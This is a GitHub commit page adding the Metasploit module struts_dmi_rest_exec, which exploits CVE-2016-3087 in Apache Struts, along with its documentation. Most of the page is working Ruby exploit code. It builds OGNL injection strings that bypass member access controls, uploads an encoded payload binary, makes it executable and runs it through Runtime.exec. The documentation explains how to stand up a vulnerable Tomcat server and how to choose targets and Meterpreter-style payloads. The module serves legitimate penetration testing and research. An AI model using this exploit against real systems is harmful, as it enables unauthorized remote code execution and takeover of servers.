Skip to content

Commit 7cdadca

Browse files
committed
Land rapid7#6945, Add struts_dmi_rest_exec exploit
2 parents 37efff5 + dff60d9 commit 7cdadca

File tree

3 files changed

+262
-2
lines changed

3 files changed

+262
-2
lines changed

documentation/modules/exploit/multi/http/struts_dmi_exec.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ For testing purposes, here is how you would set up the vulnerable machine:
1515
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
1616
5. Extract Apache Tomcat.
1717
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
18-
7. In tomcat-users.xml, add this role: ```<role rolename="manager-gui"/>```
19-
8. In tomcat-users.xml, add this role to user tomcat: ```<user username="tomcat" password="tomcat" roles="tomcat,manager-gui"/>```
18+
7. In tomcat-users.xml, add the ```manager-gui``` role
19+
8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
2020
9. Remove other users.
2121
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
2222
11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz```
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
struts_dmi_rest_exec is a module that exploits Apache Struts's REST plugin with Dynamic Method
2+
Invocation, and it supports Windows and Linux platforms.
3+
4+
## Vulnerable Application
5+
6+
Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2.
7+
The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true,
8+
and ```struts.devMode``` to false.
9+
10+
For testing purposes, here is how you would set up the vulnerable machine:
11+
12+
1. Download Apache Tomcat
13+
2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
14+
3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/300762/struts2-rest-showcase.tar.gz).
15+
4. Install Java first. Make sure you have the JAVA_HOME environment variable.
16+
5. Extract Apache Tomcat.
17+
6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
18+
7. In tomcat-users.xml, add the ```manager-gui``` role.
19+
8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
20+
9. Remove other users.
21+
10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
22+
11. Extract the vulnerable struts app: ```tar -xf struts2-rest-showcase.tar.gz```
23+
12. Navigate to the Apache Tomcat server with a browser on port 8080.
24+
13. Click on Manager App
25+
14. In the WAR file to deploy section, deploy struts2-rest-showcase.war
26+
15. Stop struts2-blank in the manager app.
27+
16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-rest-showcase/WEB-INF/classes```, open struts.xml with a text editor.
28+
17. In the XML file, make sure ```struts.enable.DynamicMethodInvocation``` is true
29+
18. In the XML file, make sure ```struts.devMode``` is false.
30+
19. Back to Apache Tomcat's manager app. Start the struts2-rest-showcase again.
31+
32+
And now you have a vulnerable server.
33+
34+
35+
## Options
36+
37+
**TMPPATH**
38+
39+
By default, the struts_dmi_rest_exec exploit should be ready to go without much configuration. However,
40+
in case you need to change where the payload should be uploaded to, make sure to set the correct
41+
target, and then change the TMPPATH datastore option.
42+
43+
## Scenarios
44+
45+
struts_dmi_rest_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java,
46+
so you don't need to worry about configuring this. Running the module can be as simple as the usage
47+
explained in the Overview section.
48+
49+
However, native payload do have their benefits (for example: Windows Meterpreter has better
50+
support than Java), so if you decide to switch to a different platform, here is what you do:
51+
52+
1. Do ```show targets```, and see which one you should be using
53+
2. Do ```set target [id]```
54+
3. Do ```show payloads```, which shows you a list of compatible payloads for that target.
55+
4. Do: ```set payload [payload name]```
56+
5. Do: ```exploit```
Lines changed: 204 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,204 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits a remote command execution vulnerability in Apache Struts
19+
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
20+
Execution can be performed when using REST Plugin with ! operator when
21+
Dynamic Method Invocation is enabled.
22+
},
23+
'Author' => [
24+
'Nixawk' # original metasploit module
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
[ 'CVE', '2016-3087' ],
30+
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
31+
],
32+
'Platform' => %w{ java linux win },
33+
'Privileged' => true,
34+
'Targets' =>
35+
[
36+
['Windows Universal',
37+
{
38+
'Arch' => ARCH_X86,
39+
'Platform' => 'win'
40+
}
41+
],
42+
['Linux Universal',
43+
{
44+
'Arch' => ARCH_X86,
45+
'Platform' => 'linux'
46+
}
47+
],
48+
[ 'Java Universal',
49+
{
50+
'Arch' => ARCH_JAVA,
51+
'Platform' => 'java'
52+
},
53+
]
54+
],
55+
'DisclosureDate' => 'Jun 01 2016',
56+
'DefaultTarget' => 2))
57+
58+
register_options(
59+
[
60+
Opt::RPORT(8080),
61+
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
62+
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
63+
], self.class)
64+
end
65+
66+
def print_status(msg='')
67+
super("#{peer} - #{msg}")
68+
end
69+
70+
def get_target_platform
71+
target.platform.platforms.first
72+
end
73+
74+
def temp_path
75+
@TMPPATH ||= lambda {
76+
path = datastore['TMPPATH']
77+
return nil unless path
78+
79+
case get_target_platform
80+
when Msf::Module::Platform::Windows
81+
slash = '\\'
82+
when
83+
slash = '/'
84+
else
85+
end
86+
87+
unless path.end_with?('/')
88+
path << '/'
89+
end
90+
return path
91+
}.call
92+
end
93+
94+
def send_http_request(payload, params_hash)
95+
uri = normalize_uri(datastore['TARGETURI'])
96+
uri = "#{uri}/#{payload}"
97+
resp = send_request_cgi(
98+
'uri' => uri,
99+
'version' => '1.1',
100+
'method' => 'POST',
101+
'vars_post' => params_hash
102+
)
103+
if resp && resp.code == 404
104+
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
105+
end
106+
resp
107+
end
108+
109+
def generate_rce_payload(code)
110+
payload = ""
111+
payload << Rex::Text.uri_encode("#[email protected]@DEFAULT_MEMBER_ACCESS")
112+
payload << ","
113+
payload << Rex::Text.uri_encode(code)
114+
payload << ","
115+
payload << Rex::Text.uri_encode("#xx.toString.json")
116+
payload << "?"
117+
payload << Rex::Text.uri_encode("#xx:#request.toString")
118+
payload
119+
end
120+
121+
def upload_exec(cmd, filename, content)
122+
var_a = rand_text_alpha_lower(4)
123+
var_b = rand_text_alpha_lower(4)
124+
var_c = rand_text_alpha_lower(4)
125+
var_d = rand_text_alpha_lower(4)
126+
var_e = rand_text_alpha_lower(4)
127+
var_f = rand_text_alpha_lower(4)
128+
129+
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
130+
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
131+
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
132+
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
133+
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
134+
payload = generate_rce_payload(code)
135+
136+
params_hash = {
137+
var_d => Rex::Text.encode_base64(cmd),
138+
var_e => Rex::Text.encode_base64(filename),
139+
var_f => content
140+
}
141+
send_http_request(payload, params_hash)
142+
end
143+
144+
def check
145+
var_a = rand_text_alpha_lower(4)
146+
var_b = rand_text_alpha_lower(4)
147+
148+
addend_one = rand_text_numeric(rand(3) + 1).to_i
149+
addend_two = rand_text_numeric(rand(3) + 1).to_i
150+
sum = addend_one + addend_two
151+
flag = Rex::Text.rand_text_alpha(5)
152+
153+
code = "##{var_a}[email protected]@getResponse().getWriter(),"
154+
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
155+
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
156+
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
157+
code << "##{var_a}.close()"
158+
159+
payload = generate_rce_payload(code)
160+
params_hash = { var_b => flag }
161+
162+
begin
163+
resp = send_http_request(payload, params_hash)
164+
rescue Msf::Exploit::Failed
165+
return Exploit::CheckCode::Unknown
166+
end
167+
168+
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
169+
Exploit::CheckCode::Vulnerable
170+
else
171+
Exploit::CheckCode::Safe
172+
end
173+
end
174+
175+
def exploit
176+
payload_exe = rand_text_alphanumeric(4 + rand(4))
177+
case target['Platform']
178+
when 'java'
179+
payload_exe = "#{temp_path}#{payload_exe}.jar"
180+
pl_exe = payload.encoded_jar.pack
181+
command = "java -jar #{payload_exe}"
182+
when 'linux'
183+
path = datastore['TMPPATH'] || '/tmp/'
184+
pl_exe = generate_payload_exe
185+
payload_exe = "#{path}#{payload_exe}"
186+
command = "/bin/sh -c #{payload_exe}"
187+
when 'win'
188+
path = temp_path || '.\\'
189+
pl_exe = generate_payload_exe
190+
payload_exe = "#{path}#{payload_exe}.exe"
191+
command = "cmd.exe /c #{payload_exe}"
192+
else
193+
fail_with(Failure::NoTarget, 'Unsupported target platform!')
194+
end
195+
196+
pl_content = pl_exe.unpack('H*').join()
197+
198+
print_status("Uploading exploit to #{payload_exe}, and executing it.")
199+
upload_exec(command, payload_exe, pl_content)
200+
201+
handler
202+
end
203+
204+
end

0 commit comments

Comments
 (0)